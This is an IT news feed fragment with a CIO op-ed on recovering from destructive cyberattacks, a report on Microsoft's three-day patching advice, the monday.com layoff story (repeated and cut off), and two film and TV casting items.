<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Megan Fox Reportedly Returning for ‘Jennifer’s Body 2’ as October Filming Nears]]></title>
<description><![CDATA[Megan Fox is reportedly preparing to return as Jennifer Check in Jennifer’s Body 2, with production currently targeting an October 2026 start.



Jennifer’s Body 2 production details



A recent production report claims filming will take place in Vancouver, Canada. Karyn Kusama is expected to ret...]]></description>
<link>https://tsecurity.de/de/3688398/ios-mac-os/megan-fox-reportedly-returning-for-jennifers-body-2-as-october-filming-nears/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688398/ios-mac-os/megan-fox-reportedly-returning-for-jennifers-body-2-as-october-filming-nears/</guid>
<pubDate>Thu, 23 Jul 2026 10:36:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Megan Fox is reportedly preparing to return as Jennifer Check in Jennifer’s Body 2, with production currently targeting an October 2026 start.



Jennifer’s Body 2 production details



A recent production report claims filming will take place in Vancouver, Canada. Karyn Kusama is expected to return as director, while original screenwriter Diablo Cody is working on the sequel’s script.



Fox’s return has reportedly been confirmed by people familiar with the project. Amanda Seyfried is also expected to reprise her role as Anita “Needy” Lesnicki, although her involvement has not received the same level of confirmation.



DetailReported informationProduction startOctober 2026Filming locationVancouver, CanadaReturning starMegan Fox as Jennifer CheckExpected cast memberAmanda Seyfried as NeedyScreenwriterDiablo CodyDirectorKaryn KusamaOfficial studio announcementNot released yet



The sequel is moving closer to production



Diablo Cody has been developing the project for 20th Century Studios. Kusama previously described the script as fun and unpredictable, suggesting that the sequel will retain the dark comedy and horror elements that shaped the original movie.



The first Jennifer’s Body arrived in 2009 and followed a demonically possessed high school student who began killing and eating her male classmates. Although the film received mixed reviews and modest box office results during its original release, it later developed a strong cult following.



Important details remain unknown, including the sequel’s plot, complete cast, release date and official title. The October production schedule also remains unconfirmed by 20th Century Studios.



Still, the reported return of Megan Fox, Cody and Kusama indicates that Jennifer’s Body 2 has moved beyond early discussions and is getting closer to filming.]]></content:encoded>
</item>
<item>
<title><![CDATA[Jamie Campbell Bower Confirmed as Celeborn in The Rings of Power Season 3]]></title>
<description><![CDATA[Jamie Campbell Bower will play Celeborn in The Lord of the Rings: The Rings of Power Season 3, finally bringing Galadriel’s long-missing husband into the Prime Video series.



Jamie Campbell Bower’s Celeborn Revealed



The first look presents Bower as a silver-haired Elven lord dressed in detai...]]></description>
<link>https://tsecurity.de/de/3688321/ios-mac-os/jamie-campbell-bower-confirmed-as-celeborn-in-the-rings-of-power-season-3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688321/ios-mac-os/jamie-campbell-bower-confirmed-as-celeborn-in-the-rings-of-power-season-3/</guid>
<pubDate>Thu, 23 Jul 2026 09:59:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jamie Campbell Bower will play Celeborn in The Lord of the Rings: The Rings of Power Season 3, finally bringing Galadriel’s long-missing husband into the Prime Video series.



Jamie Campbell Bower’s Celeborn Revealed



The first look presents Bower as a silver-haired Elven lord dressed in detailed armour. His appearance suggests that Celeborn will enter the story as an experienced warrior rather than remain a distant figure from Galadriel’s past.



Bower described himself as “beyond elated and grateful” after his role became public. The actor already has strong connections to major fantasy franchises through Harry Potter, Fantastic Beasts, Twilight, and Stranger Things, where he played Vecna and Henry Creel.



He joined The Rings of Power as a series regular before the production revealed his character. Early descriptions reportedly referred to his role as a handsome, high-born knight, leading many viewers to predict that he was playing Celeborn.



Celeborn and Galadriel Could Finally Reunite



Galadriel previously told Theo that she had lost Celeborn during the war against Morgoth. She recalled meeting him in a field of flowers and joking about his poorly fitted silver armour. He later disappeared after leaving for battle, although Galadriel never confirmed his death.



Season 3 can now explain where Celeborn has been and why he stayed separated from Galadriel for so long. Their reunion should also add a deeply personal storyline while the Elves prepare for another major conflict.



The new season will move forward several years and explore the height of the War of the Elves and Sauron. Sauron will continue building his power and work toward creating the One Ring, placing Celeborn, Galadriel, and the other Elven leaders directly in his path.



Bower’s arrival gives Season 3 one of its most anticipated Tolkien characters and opens an important new chapter in Galadriel’s journey.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft’s 3-day patching directive comes with added operational risk]]></title>
<description><![CDATA[Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.



Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, i...]]></description>
<link>https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft 365 Director Jeremy Chapman this month <a href="https://www.youtube.com/watch?v=QdjSkbKXoJw">took to video to tell Windows admins</a> that the days of delaying security patches are over.</p>



<p class="wp-block-paragraph">Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.</p>



<p class="wp-block-paragraph">As a result, Microsoft has advised admins to act on patches within three days.</p>



<p class="wp-block-paragraph">Independent experts agree with Microsoft’s diagnosis of the <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">problems posed by AI-powered vulnerability discovery</a>, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.</p>



<p class="wp-block-paragraph">Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.</p>



<h2 class="wp-block-heading">Tighter patching deadlines</h2>



<p class="wp-block-paragraph">Microsoft’s <a href="https://techcommunity.microsoft.com/blog/microsoftmechanicsblog/deploy-windows-updates-to-counter-ai-discovered-threats/4534505">revised vulnerability remediation advice</a> comes in the wake of its work with <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Anthropic’s Project Glasswing</a> and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.</p>



<p class="wp-block-paragraph">As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.</p>



<p class="wp-block-paragraph">Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.</p>



<p class="wp-block-paragraph">Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">already struggling with successful remediation</a> as it is.</p>



<p class="wp-block-paragraph">“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”</p>



<p class="wp-block-paragraph">Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”</p>



<p class="wp-block-paragraph">CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.</p>



<p class="wp-block-paragraph">“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”</p>



<p class="wp-block-paragraph">Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.</p>



<p class="wp-block-paragraph">“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”<br><br>Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”</p>



<h2 class="wp-block-heading">Wider cross-industry impact</h2>



<p class="wp-block-paragraph">Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.</p>



<p class="wp-block-paragraph">“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.</p>



<p class="wp-block-paragraph">AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.</p>



<p class="wp-block-paragraph">However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.</p>



<p class="wp-block-paragraph">Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.</p>



<p class="wp-block-paragraph">“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”</p>



<h2 class="wp-block-heading">Holistic remediation</h2>



<p class="wp-block-paragraph">Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">Verizon’s Data Breach Investigation Report</a>, published earlier this year, found that the median time to patch had actually increased to 43 days.</p>



<p class="wp-block-paragraph">Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.</p>



<p class="wp-block-paragraph">Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.</p>



<p class="wp-block-paragraph">“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”</p>



<p class="wp-block-paragraph">CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.</p>



<p class="wp-block-paragraph">Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.</p>



<p class="wp-block-paragraph">Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.</p>



<p class="wp-block-paragraph">Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 02:50:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



